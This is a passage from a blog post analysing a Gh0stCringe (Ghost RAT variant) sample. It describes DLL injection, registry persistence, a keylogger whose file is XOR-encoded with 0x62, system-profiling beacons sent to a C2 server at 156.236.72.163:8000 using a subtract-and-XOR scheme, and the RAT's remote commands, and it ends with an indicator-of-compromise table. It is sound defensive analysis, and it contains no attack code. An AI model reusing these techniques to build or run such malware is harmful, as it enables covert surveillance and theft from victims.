<p>The initial <code class="language-plaintext highlighter-rouge">MZ</code> bytes and the subsequent message <code class="language-plaintext highlighter-rouge">This program cannot be run in DOS mode</code> suggested that this buffer contained an executable. In fact, once extracted, it was evident that this was a DLL. The rest of the malware code manually injects this DLL in its address space and transfers the execution to it. This injection is performed using standard functions like <code class="language-plaintext highlighter-rouge">VirtualAlloc</code> and <code class="language-plaintext highlighter-rouge">VirtualProtect</code>, whose addresses were recovered through the usage of <code class="language-plaintext highlighter-rouge">LoadLibrary</code> and <code class="language-plaintext highlighter-rouge">GetProcAddress</code>.</p>

<p>At offset <code class="language-plaintext highlighter-rouge">0x00401843</code> there is the <code class="language-plaintext highlighter-rouge">call</code> instruction to pass the execution to the DLL entry point.</p>

<p><img src="/assets/dll_execution.png" alt="DLL execution" class="center-image" /></p>

<p>Although the DLL exports a function named StudyHard, it is never called because execution is transferred directly to DllMain. Nevertheless, <code class="language-plaintext highlighter-rouge">StudyHard</code> is identical to <code class="language-plaintext highlighter-rouge">DllMain</code>, so nothing would have changed by running it instead of <code class="language-plaintext highlighter-rouge">DllMain</code>.</p>

<p>From now on, i will show the analysis performed to the extracted DLL.</p>

<h2 id="dll-analysis">DLL analysis</h2>
<p>First of all, it seems this DLL has an hardcoded configuration to make the malware behave in a certain way. During this analysis i will focus more on the configuration present on the sample i have.</p>

<p>As for the loader, I’ve imported this DLL in IDA using <code class="language-plaintext highlighter-rouge">0x10000000</code> as base address, so all the addresses are relative to it.</p>

<p>Starting the analysis, the first action this malware is configured to do is to retrieve the PID of its parent process. If it is 0, the malware terminates. Otherwise, the malware is configured to kill any running instance of <code class="language-plaintext highlighter-rouge">rundll.exe</code>, as an attempt at an anti-debug techique. This is done by the function call at address <code class="language-plaintext highlighter-rouge">0x10005D7C</code>:</p>

<p><img src="/assets/kill_rundll.png" alt="taskkill rundll" class="center-image" /></p>

<p>Subsequently, another flag is checked to see if the malware should download a file from Internet. In this case my sample was not configured to do it, so i pass over these instructions. After that, the configuration makes it call <code class="language-plaintext highlighter-rouge">GetVersionExA</code> in order to retrieve the OS version of the victim’s machine. In particular, the malware is selecting a path based on the Windows version of the machine that is running it. In my case (in the path selected if you are running a Windows 10 machine) at address <code class="language-plaintext highlighter-rouge">0x10007CB5</code> a thread is created with the only goal to set persistence using the registry key <code class="language-plaintext highlighter-rouge">HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\(Default)</code>, as we noted during dynamic analysis.</p>

<p><img src="/assets/persistence_asm.png" alt="Thread to set persistence" class="center-image" /></p>

<p>The alternative paths selected when using different Windows versions attempt to obtain the same goal, but using different methods, like the creation of a service. Note that, even in these paths, there is a configuration flag that makes the malware copy itself to <code class="language-plaintext highlighter-rouge">C:\Program Files\Nkfkyhs.exe</code> or not.</p>

<p>Continuing with the code, another thread is created and this is the responsible for executing all the logic of this malware. Note that, to create this second thread, the malware does not call directly <code class="language-plaintext highlighter-rouge">CreateThread</code>, but it uses a wrapper function (renamed in <code class="language-plaintext highlighter-rouge">create_thread</code>) that calls <code class="language-plaintext highlighter-rouge">_beginthreadex</code>. Here, the malware author tried to do some obfuscation, since the target of <code class="language-plaintext highlighter-rouge">_beginthreadex</code> is not the real function the newly thread will execute but a ‘trampoline’ that will execute the real function.</p>

<p><img src="/assets/create_thread_call.png" alt="create_thread call" class="center-image" /></p>

<p>In the following screenshot you can note that <code class="language-plaintext highlighter-rouge">create_thread</code> creates a new thread to execute <code class="language-plaintext highlighter-rouge">thread_trampoline</code>, with the real function to execute passed as argument. In addition, note the event created that will be signaled inside <code class="language-plaintext highlighter-rouge">thread_trampoline</code>, to communicate to the parent that the thread has been created before continuing the execution.</p>

<p><img src="/assets/create_thread_asm.png" alt="create_thread assembly" class="center-image" /></p>

<p>Finally, <code class="language-plaintext highlighter-rouge">thread_trampoline</code> takes the real function to run and executes it:</p>

<p><img src="/assets/thread_trampoline.png" alt="Real function executed" class="center-image" /></p>

<p>Now, going further the technique used to create this new thread, let’s focus on what it does. First of all, it creates a mutex named <code class="language-plaintext highlighter-rouge">156.236.72.163:8000:Rsoyac uyuyscoi</code>, to ensure that the malware is executed only once, then it tries to set persistence for all users, setting the registry key <code class="language-plaintext highlighter-rouge">HKLM/SYSTEM\CurrentControlSet\Services\Rsoyac uyuyscoi</code>. As noted during dynamic analysis, this operation fails due to the lack of the privileges to edit this key. This operation is performed at address <code class="language-plaintext highlighter-rouge">0x10008AE8</code>:</p>

<p><img src="/assets/persistence_all_users.png" alt="Persistence all users" class="center-image" /></p>

<p>(The function pointer to <code class="language-plaintext highlighter-rouge">RegCreateKeyExA</code> used by the <code class="language-plaintext highlighter-rouge">call</code> instruction is retrieved previosly in the code with a combination of <code class="language-plaintext highlighter-rouge">LoadLibraryA</code> and <code class="language-plaintext highlighter-rouge">GetProcAddress</code>).</p>

<p>After that, another configuration flag is checked to determine whether a new thread for keylogging needs to be created. In this case, the DLL is configured to do so, so the thread is created and it’s responsible for performing keylogging and saving all keystrokes to a file named <code class="language-plaintext highlighter-rouge">Default.key</code>. This function is located at address <code class="language-plaintext highlighter-rouge">0x100026A0</code>, and you can identify it as a keylogger by examining the calls it makes.</p>

<p><img src="/assets/keylog_function_calls.png" alt="Keylog function calls" class="center-image" /></p>

<p>The functions <code class="language-plaintext highlighter-rouge">get_window_title</code> and <code class="language-plaintext highlighter-rouge">write_to_file</code> were renamed by me after analysis.</p>

<p>The file containing all the keystrokes is stored at <code class="language-plaintext highlighter-rouge">C:\Users\&lt;username&gt;\AppData\Local\VirtualStore\Windows\SysWOW64\Default.key</code>, even through the code calls <code class="language-plaintext highlighter-rouge">GetSystemDirectoryA</code>. This happens because the malware does not have the privileges required to write to the <code class="language-plaintext highlighter-rouge">C:\Windows\System32</code> folder. As a fallback, Windows File Virtualization redirects the write attempt to VirtualStore, a per-user folder where unauthorized writes to protected system locations (such as <code class="language-plaintext highlighter-rouge">C:\Windows\System32</code>) are stored instead.</p>

<p>I had not noticed this file during the initial dynamic analysis, but when running the malware again, the file was indeed written:</p>

<p><img src="/assets/keylog_writefile.png" alt="Keylog file write" class="center-image" /></p>

<p>However, the content of this file is encrypted in some way:</p>

<p><img src="/assets/keylog_file_encrypted.png" alt="Keylog file encrypted" class="center-image" /></p>

<p>This because, inside <code class="language-plaintext highlighter-rouge">write_to_file()</code> function (at address <code class="language-plaintext highlighter-rouge">0x10002450</code>) each byte is XORed with <code class="language-plaintext highlighter-rouge">0x62</code> before being written:</p>

<p><img src="/assets/keylog_xor.png" alt="Keylog XOR" class="center-image" /></p>

<p>In fact, doing the XOR again unveils the file content:</p>

<p><img src="/assets/keylog_file_decrypted.png" alt="Keylog file decrypted" class="center-image" /></p>

<p>The characters between the square brackets should be asian, but since i’m using a different locale they aren’t displayed correctly.</p>

<p>After the keylog thread creation, the DLL establish a TCP socket to the C2 server (IP: <code class="language-plaintext highlighter-rouge">156.236.72.163</code>, port tcp/8000) through a function i’ve renamed <code class="language-plaintext highlighter-rouge">connect_to_host()</code>. The <code class="language-plaintext highlighter-rouge">call</code> instruction is located at address <code class="language-plaintext highlighter-rouge">0x1000668E</code> and this function, in addition, creates another thread to receive and manage the response from the server. I will analyze this part later.</p>

<p>It’s important to note the <code class="language-plaintext highlighter-rouge">call</code> at address <code class="language-plaintext highlighter-rouge">0x100066BA</code>, since, in the function called, a pointer is stored in a class previously created. This pointer is located at address <code class="language-plaintext highlighter-rouge">0x1000C30C</code> and it seems to be the vtable for the class. This will return during the C2 response analysis, where these functions are selected based on what the C2 server sends to the malware.</p>

<p><img src="/assets/class_functions.png" alt="Class functions" class="center-image" /></p>

<p>So, after the socket creation, the malware sends the first message to its C2 server, to nofify it about the new machine infected. This is performed by the function at address <code class="language-plaintext highlighter-rouge">0x100059D0</code> and that i’ve renamed in <code class="language-plaintext highlighter-rouge">send_data</code> (<code class="language-plaintext highlighter-rouge">call</code> instruction at address <code class="language-plaintext highlighter-rouge">0x100066E5</code>). Before send the message, this function gathers data about the infected machine. These data are:</p>

<ul>
  <li>Machine name (<code class="language-plaintext highlighter-rouge">gethostname()</code>)</li>
  <li>OS version (<code class="language-plaintext highlighter-rouge">GetVersionExA()</code>)</li>
  <li>Registry key <code class="language-plaintext highlighter-rouge">HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz</code></li>
  <li>Number of processors</li>
  <li>Physical and virtual memory usage (<code class="language-plaintext highlighter-rouge">GlobalMemoryStatusEx()</code>)</li>
  <li>Drive type and free space in each of them (<code class="language-plaintext highlighter-rouge">GetDriveTypeA()</code> and <code class="language-plaintext highlighter-rouge">GetDiskFreeSpaceExA()</code>)</li>
  <li>Bit of the system (<code class="language-plaintext highlighter-rouge">IsWow64Process()</code>)</li>
  <li>Running antivirus</li>
  <li>If the infected PC is inactive (<code class="language-plaintext highlighter-rouge">GetLastInputInfo()</code> and <code class="language-plaintext highlighter-rouge">GetTickCount()</code>)</li>
</ul>

<p>In particular, to check for all drives, the DLL checks for each letter starting from <code class="language-plaintext highlighter-rouge">A:</code> to <code class="language-plaintext highlighter-rouge">Z:</code> and calls the two functions for each of them:</p>

<p><img src="/assets/drive_loop.png" alt="Drive loop" class="center-image" /></p>

<p>To detect a running antivirus, the DLL embeds a list of process names known to belong to antivirus programs. Using the <code class="language-plaintext highlighter-rouge">CreateToolhelp32Snapshot()</code>, <code class="language-plaintext highlighter-rouge">Process32First()</code>, and <code class="language-plaintext highlighter-rouge">Process32Next()</code> functions, it enumerates all running processes and checks for matches against its antivirus list.</p>

<p>Finally, to detect if the victim’s PC is inactive, it substracts from the return value of <code class="language-plaintext highlighter-rouge">GetTickCount()</code> the value contained by the <code class="language-plaintext highlighter-rouge">dwTime</code> member of the <code class="language-plaintext highlighter-rouge">plii</code> structure, filled after the call to <code class="language-plaintext highlighter-rouge">GetLastInputInfo()</code>. If the result is above 180000 milliseconds (3 minutes), the PC is considered inactive.</p>

<p><img src="/assets/inactive.png" alt="Inactive detection" class="center-image" /></p>

<p>After all the data is gathered, the DLL sends it to the C2 server. The actual call to <code class="language-plaintext highlighter-rouge">send()</code> is performed by the function at address <code class="language-plaintext highlighter-rouge">0x10002390</code>. However, as noted during dynamic analysis, the data sent through the socket is encrypted. In fact, always in this function, before sending the payload, the buffer is encrypted with a combination of XOR and subtraction. In particular, the value <code class="language-plaintext highlighter-rouge">0x46</code> is subtracted to each byte and then each of them is XORed with <code class="language-plaintext highlighter-rouge">0x19</code>:</p>

<p><img src="/assets/payload_encryption.png" alt="Payload encryption" class="center-image" /></p>

<p>Reversing these operations (doing first the XOR with <code class="language-plaintext highlighter-rouge">0x19</code> and then add <code class="language-plaintext highlighter-rouge">0x46</code>) it is possible to obtain the sent data in clear text:</p>

<p><img src="/assets/message_decrypted.png" alt="Message decrypted" class="center-image" /></p>

<p>At first glance it is possible to detect the computer name, the number of processors and the name of the antivirus. After the payload is sent, the malware waits a bit before it gathers the data and sends to C2 again, in loop.</p>

<p>Now, it’s time to check what the malware does when it receives messages from the C2 server. Unfortunately, the C2 server seems to be unreachable at the time of writing this post, so it was impossible for me to dynamically debug the malware when a message is received. However, as mentioned previously, Once the DLL creates a socket with the C2 server, the same function creates a thread used to receive and parse message from the server. This function is located at address <code class="language-plaintext highlighter-rouge">0x10001E20</code> and after the <code class="language-plaintext highlighter-rouge">recv()</code> call, it is possible to observe that the received message is decrypted in the same way done to decrypt the sent buffer.</p>

<p><img src="/assets/recv_and_decrypt.png" alt="Receive message and decrypt" class="center-image" /></p>

<p>After the decryption, the DLL starts to parse the message, at a function located at address <code class="language-plaintext highlighter-rouge">0x10001F30</code>. Here, the assembly is a bit confusing, especially without the possibility to debug it, but the most interesting part is the <code class="language-plaintext highlighter-rouge">call()</code> instruction towards the end of the function, at address <code class="language-plaintext highlighter-rouge">0x10002142</code>:</p>

<p><img src="/assets/final_call.png" alt="Receive message and decrypt" class="center-image" /></p>

<p>The content of the <code class="language-plaintext highlighter-rouge">edx</code> registry is the vtable mentioned early (addess <code class="language-plaintext highlighter-rouge">0x1000C30C</code>) and as you can see from the screenshot above, the second function is called:</p>

<p><img src="/assets/function_array.png" alt="Function array" class="center-image" /></p>

<p>I’ve renamed the called function as <code class="language-plaintext highlighter-rouge">manage_operation</code>, since it contains a switch case to execute various tasks based on the content of the message received. Probably, the message from C2 server contains a number or something similar that could be used as index to select the right path.</p>

<p><img src="/assets/switch_case.png" alt="Switch case" class="center-image" /></p>

<p>The features this malware makes available are the following (they’re not all the features but the ones i managed to understand):</p>

<ul>
  <li>Starting the keylog thread and socket creation (even if the malware is configured to not automatically start it while executed)</li>
  <li>Extending malware features, by dynamically loading DLLs</li>
  <li>Trying to elevate its privileges</li>
  <li>Uninstalling itself and remove all traces</li>
  <li>Trying to set the malware as a Windows service</li>
  <li>Showing messages to victim’s machine (using <code class="language-plaintext highlighter-rouge">MessageBoxA()</code>)</li>
  <li>Proxy capabilities</li>
  <li>Interacting with the victim’s machine desktop</li>
  <li>Executing shell commands</li>
  <li>Creating files</li>
  <li>List victim’s machine processes</li>
  <li>Enumerating opened windows on Desktop</li>
  <li>Copying itself to <code class="language-plaintext highlighter-rouge">C:\Program Files\Common Files\scvh0st.exe</code> and set persistence modifying the registry key <code class="language-plaintext highlighter-rouge">HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\(Default)</code></li>
</ul>

<h1 id="conclusion">Conclusion</h1>
<p>After gaining knowledge about this malware and searching on Google, i’m pretty sure this malware is a variant of Ghost RAT malware, named Gh0stCringe. The source code of Ghost RAT was release publicly years ago and the only fact that it is public it makes it a good choice as a starting point even today. A lot of variants have been discovered in these years and Gh0stCringe is one of them. Looking at the data sent periodically from the client to the server, it’s possible to observe a <code class="language-plaintext highlighter-rouge">V9.5</code> that could indicate that this is the version 9.5 of this variant.</p>

<p>Among the encrypted DLL, the code obfuscation techniques and the different encryption methods adopted, I found this analysis fun to do. Since this is not a new threat, there are already different YARA rules that detect it. Anyway, here’s IoC table for this version:</p>

<table>
  <thead>
    <tr>
      <th>Type</th>
      <th>Value</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>File hash (SHA-256)</td>
      <td><code class="language-plaintext highlighter-rouge">04795669ada92df9a0361b6e169be7b6c23c888f6a56a96c35bd8cd4c09cd6c9</code></td>
    </tr>
    <tr>
      <td>File path</td>
      <td><code class="language-plaintext highlighter-rouge">C:\Program Files\Nkfkyhs.exe</code></td>
    </tr>
    <tr>
      <td>File path</td>
      <td><code class="language-plaintext highlighter-rouge">C:\Program Files\Common Files\scvh0st.exe</code></td>
    </tr>
    <tr>
      <td>C2 server</td>
      <td><code class="language-plaintext highlighter-rouge">156.236.72.163:8000</code></td>
    </tr>
    <tr>
      <td>Keylog file</td>
      <td><code class="language-plaintext highlighter-rouge">C:\Windows\System32\Default.key</code></td>
    </tr>
    <tr>
      <td>Keylog file</td>
      <td><code class="language-plaintext highlighter-rouge">C:\Users\&lt;username&gt;\AppData\Local\VirtualStore\Windows\SysWOW64\Default.key</code></td>
    </tr>
    <tr>
      <td>Mutex</td>
      <td><code class="language-plaintext highlighter-rouge">156.236.72.163:8000:Rsoyac uyuyscoi</code></td>
    </tr>
    <tr>
      <td>Service name</td>
      <td><code class="language-plaintext highlighter-rouge">Rsoyac uyuyscoi</code></td>
    </tr>
  </tbody>
</table>]]></content><author><name>Roberto Perico</name><email>roberperico@gmail.com</email></author><category term="malware" /><category term="RAT" /><summary type="html"><![CDATA[As exercise, I’ve decided to find a malware sample on MalwareBazaar to analyze. I was looking for a Windows malware written in C/C++, so I chose the sample described in this post. This is not a new threat on the web and after the analysis, with more knowledge about its functionalities, I can say that, probably, it’s a variant of a Ghost RAT malware, known as Gh0stCringe.]]></summary></entry></feed>